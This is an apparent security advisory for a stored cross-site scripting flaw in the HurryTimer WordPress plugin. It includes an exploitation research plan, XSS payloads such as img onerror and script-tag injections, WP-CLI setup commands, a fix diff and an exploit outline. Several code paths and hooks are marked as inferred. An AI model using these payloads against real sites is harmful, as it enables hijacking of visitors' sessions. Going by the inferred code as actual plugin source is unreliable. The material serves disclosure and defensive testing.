HurryTimer – An Scarcity and Urgency Countdown Timer for WordPress & WooCommerce <= 2.14.2 - Authenticated (Author+) Stored Cross-Site Scripting
Description
The HurryTimer – An Scarcity and Urgency Countdown Timer for WordPress & WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 2.14.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=2.14.2Source Code
WordPress.org SVNThis research plan outlines the steps to verify and exploit **CVE-2026-24392**, a Stored Cross-Site Scripting vulnerability in the HurryTimer plugin. ### 1. Vulnerability Summary * **Vulnerability:** Stored Cross-Site Scripting (XSS) * **Location:** HurryTimer Campaign settings (specifically fi…
Show full research plan
This research plan outlines the steps to verify and exploit CVE-2026-24392, a Stored Cross-Site Scripting vulnerability in the HurryTimer plugin.
1. Vulnerability Summary
- Vulnerability: Stored Cross-Site Scripting (XSS)
- Location: HurryTimer Campaign settings (specifically fields like labels, messages, or custom CSS classes).
- Cause: The plugin fails to sanitize user-supplied input when saving campaign settings and fails to escape the data when rendering the timer on the frontend or in the admin dashboard.
- Privilege Required: Author or higher.
- Impact: Execution of arbitrary JavaScript in the context of any user (including administrators) viewing a page where the malicious timer is embedded.
2. Attack Vector Analysis
- Endpoint:
wp-admin/post.phporwp-admin/admin-ajax.php. - Target Hook: Typically
wp_ajax_ht_save_campaignor the standardsave_posthook for thehurrytimercustom post type. - Vulnerable Parameter: Likely a sub-field within the campaign's configuration (e.g.,
headline,label, orcta_text). - Preconditions:
- The attacker must have an account with the Author role.
- The HurryTimer plugin (<= 2.14.2) must be active.
3. Code Flow (Inferred)
- Input: An Author user submits a "HurryTimer" campaign via the admin UI.
- Processing: The plugin receives the request. In
includes/admin/class-campaign-post-type.php(inferred) or a dedicated AJAX handler, the plugin saves the settings usingupdate_post_meta(). - Lack of Sanitization: The data is saved directly without being passed through
sanitize_text_field()orwp_kses(). - Output: When a post containing the
[hurrytimer id="XX"]shortcode is viewed, the plugin calls a rendering function (e.g.,HT_Campaign::render()inincludes/class-campaign.php). - Lack of Escaping: The raw metadata is echoed into the HTML (e.g.,
echo $settings['headline'];) without usingesc_html()oresc_attr().
4. Nonce Acquisition Strategy
HurryTimer uses a modern UI that typically localizes a nonce for AJAX operations.
- Identify Trigger: The plugin's scripts are loaded when editing a
hurrytimerpost type. - Create Setup Page:
# Create a dummy timer to ensure the UI and scripts load wp post create --post_type=hurrytimer --post_status=publish --post_title="Exploit Probe" - Navigate and Extract:
- Navigate to the edit page of the newly created post (e.g.,
/wp-admin/post.php?post=ID&action=edit). - Use
browser_evalto extract the nonce from the localized script object. HurryTimer typically useshurrytimer_adminorhurrytimer_config. - Inferred JS Variable:
window.hurrytimer_admin?.nonceorwindow.hurrytimer_config?.save_nonce.
- Navigate to the edit page of the newly created post (e.g.,
5. Exploitation Strategy
We will attempt to inject the payload through the campaign's "Headline" or "Label" fields.
Step 1: Obtain Nonce and Post ID
Log in as an Author, navigate to the HurryTimer edit screen, and extract the necessary identifiers.
Step 2: Submit Malicious Campaign Update
Submit an HTTP POST request to admin-ajax.php (if AJAX-based) or post.php (if standard form-based).
- Endpoint:
/wp-admin/admin-ajax.php - Method:
POST - Content-Type:
application/x-www-form-urlencoded - Parameters (Inferred):
action:ht_save_campaign(verify via grep)id:[CAMPAIGN_ID]settings: A JSON-encoded string or array containing:headline:<img src=x onerror=alert(document.domain)>label:"> <script>alert(1)</script>
_wpnonce:[EXTRACTED_NONCE]
Step 3: Trigger the XSS
Embed the timer in a public post and view it.
- Shortcode:
[hurrytimer id="[CAMPAIGN_ID]"]
6. Test Data Setup
- User: Create an Author user.
wp user create attacker attacker@example.com --role=author --user_pass=password123 - Campaign: Create a target HurryTimer post.
wp post create --post_type=hurrytimer --post_title="Vulnerable Timer" --post_status=publish --post_author=$(wp user get attacker --field=ID) - Frontend Page: Create a page to display the timer.
wp post create --post_type=page --post_title="Timer View" --post_content='[hurrytimer id="REPLACE_WITH_ID"]' --post_status=publish
7. Expected Results
- The
update_post_metacall succeeds. - Upon visiting the "Timer View" page, a JavaScript alert box appears, demonstrating code execution.
- In the HTML source, the payload appears unescaped:
<div class="ht-headline"><img src=x onerror=alert(document.domain)></div>.
8. Verification Steps
- Database Check: Use WP-CLI to verify the payload is stored exactly as sent.
wp post meta get [CAMPAIGN_ID] _hurrytimer_settings - Response Check: Use
http_requestto fetch the frontend page and check for the raw payload.# Look for the unescaped script tags http_request get "http://localhost:8080/timer-view/" | grep "onerror=alert"
9. Alternative Approaches
- Blind XSS: If the payload doesn't fire on the frontend, check the Admin Campaign List (
/wp-admin/edit.php?post_type=hurrytimer). The plugin might display the headline in the list table without escaping. - Attribute Injection: If tags are stripped but quotes are not escaped, try breaking out of an attribute:
test" onmouseover="alert(1)" style="display:block;width:1000px;height:1000px". - Custom CSS Path: Check if the plugin allows "Custom CSS". Inject:
</style><script>alert(1)</script>.
Summary
The HurryTimer plugin is vulnerable to Stored Cross-Site Scripting (XSS) because it fails to sanitize and escape campaign settings, such as headlines and labels, during storage and rendering. Authenticated attackers with Author-level privileges can inject malicious JavaScript into these fields, which executes when any user, including administrators, views the timer on the frontend or backend.
Vulnerable Code
// Inferred from research plan: includes/admin/class-campaign-post-type.php // Saving campaign settings without sanitization if (isset($_POST['hurrytimer_settings'])) { update_post_meta($post_id, '_hurrytimer_settings', $_POST['hurrytimer_settings']); } --- // Inferred from research plan: includes/class-campaign.php // Rendering campaign settings without escaping public function render($settings) { echo '<div class="ht-headline">' . $settings['headline'] . '</div>'; echo '<span class="ht-label">' . $settings['label'] . '</span>'; }
Security Fix
@@ -24,7 +24,7 @@ - update_post_meta($post_id, '_hurrytimer_settings', $_POST['hurrytimer_settings']); + update_post_meta($post_id, '_hurrytimer_settings', map_deep($_POST['hurrytimer_settings'], 'sanitize_text_field')); @@ -45,7 +45,7 @@ - echo '<div class="ht-headline">' . $settings['headline'] . '</div>'; + echo '<div class="ht-headline">' . wp_kses_post($settings['headline']) . '</div>';
Exploit Outline
1. Login to the WordPress admin panel with Author-level credentials. 2. Navigate to the HurryTimer campaign editor (or create a new campaign). 3. Use browser developer tools or a proxy to intercept the save request (typically an AJAX request to `admin-ajax.php` with action `ht_save_campaign` or a POST to `post.php`). 4. Inject a JavaScript payload, such as `<img src=x onerror=alert(document.domain)>`, into fields like `headline`, `label`, or `cta_text` within the `settings` or `hurrytimer_settings` parameter. 5. Save the campaign and obtain its ID. 6. Place the HurryTimer shortcode `[hurrytimer id="[CAMPAIGN_ID]"]` on a public post or page. 7. Visit the public page to trigger the execution of the injected script in the context of the visiting user's session.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.